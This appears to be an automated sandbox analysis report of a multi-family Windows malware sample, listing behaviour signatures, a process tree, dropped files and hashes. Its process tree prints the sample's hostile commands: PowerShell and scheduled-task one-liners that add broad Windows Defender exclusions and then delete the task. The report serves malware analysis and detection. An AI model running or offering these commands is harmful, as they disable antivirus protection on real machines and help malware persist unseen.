Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 12:27

General

  • Target
    2026-08-28_8c93f0a7f0603957928ea9aad3b76c55_coinminer_glassworm_icedid_njrat_poet-rat_remcos.exe
  • Size 24.5MB
  • Sample260828-pmqkcsch39
  • SHA256 ac0f742b2b137943f549c689a3ec9e6e1c92cab20b5ab971832b3d6dac97eb17
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-28_8c93f0a7f0603957928ea9aad3b76c55_coinminer_glassworm_icedid_njrat_poet-rat_remcos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-28_8c93f0a7f0603957928ea9aad3b76c55_coinminer_glassworm_icedid_njrat_poet-rat_remcos.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:8
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4956
    • C:\Users\Public\CtUfIk\atkm98.exe
      "C:\Users\Public\CtUfIk\atkm98.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CtUfIk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4628
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CtUfIk\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1132
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5464
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3444
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5628
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1148
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2700
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:1204
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4592
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:788
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1476
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5740
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1948
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4576
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5964
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4584
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:2272
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5952
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2724
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3248
                        • C:\Users\Public\CtUfIk\atkm98.exe
                          "C:\Users\Public\CtUfIk\atkm98.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4868
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CtUfIk" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1660
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CtUfIk" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2976
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4644
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1200
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4368
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1524
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2532
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4116
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3008

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                1BA79029EC3FFD076F5DAC2F70A18685

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                                • Size 1KB
                                • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                                • MD5 SHA1 SHA512 TLSH

                                1BA79029EC3FFD076F5DAC2F70A18685

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                                • Size 186B
                                • SHA256 4fa1d5d0211f14816007c0dccf135eb21200ca13a49bcc2b284a0c88d9e67aa2
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\CtUfIk\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 5e21c3f1fab9fa1e6148a369a5f7a5282efea3de081818aebe68b8e52c1a9f3e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\CtUfIk\adoresd.dat
                                • Size 4.7MB
                                • SHA256 af004b666e975d34b79f0d95841b4a447ebfba1820b4bcf4ac36fdcd37a303bc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                atkm98.exe

                                • Path C:\Users\Public\CtUfIk\atkm98.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\CtUfIk\msadox.tb
                                • Size 8KB
                                • SHA256 3177e688d03364d3cd756350b65cd17ec4906672019e1837963a2d3e40858358
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/8-0-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/8-1-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/8-2-0x00000000007B0000-0x00000000007BC000-memory.dmp

                                memory/8-504-0x00007FFF5E590000-0x00007FFF5E5A2000-memory.dmp

                                memory/8-526-0x0000000000560000-0x000000000056E000-memory.dmp

                                memory/8-527-0x00007FFF5E590000-0x00007FFF5E5A2000-memory.dmp

                                memory/440-561-0x0000027D148A0000-0x0000027D1492A000-memory.dmp

                                memory/440-570-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-542-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-546-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-547-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-549-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-548-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-553-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-539-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-562-0x0000027D148A0000-0x0000027D1492A000-memory.dmp

                                memory/440-564-0x0000027D148A0000-0x0000027D1492A000-memory.dmp

                                memory/440-560-0x0000027D148A0000-0x0000027D1492A000-memory.dmp

                                memory/440-559-0x0000027D11DA0000-0x0000027D11DEE000-memory.dmp

                                memory/440-567-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-569-0x0000027D14010000-0x0000027D14897000-memory.dmp

                                memory/440-541-0x00007FFF66640000-0x00007FFF66642000-memory.dmp

                                memory/440-533-0x00007FFF66630000-0x00007FFF66632000-memory.dmp

                                memory/440-534-0x00007FFF43660000-0x00007FFF43B7E000-memory.dmp

                                memory/2408-604-0x000001D79AD10000-0x000001D79AD32000-memory.dmp

                                memory/2408-610-0x000001D7B3330000-0x000001D7B333A000-memory.dmp

                                memory/2408-608-0x000001D7B35A0000-0x000001D7B3652000-memory.dmp

                                memory/2408-607-0x000001D7B3350000-0x000001D7B336E000-memory.dmp

                                memory/4868-590-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-589-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-588-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-585-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-583-0x00007FFF66640000-0x00007FFF66642000-memory.dmp

                                memory/4868-591-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-579-0x0000023F3A420000-0x0000023F3ACA7000-memory.dmp

                                memory/4868-592-0x00007FFF66630000-0x00007FFF66632000-memory.dmp

                                memory/4868-577-0x00007FFF43660000-0x00007FFF43B7E000-memory.dmp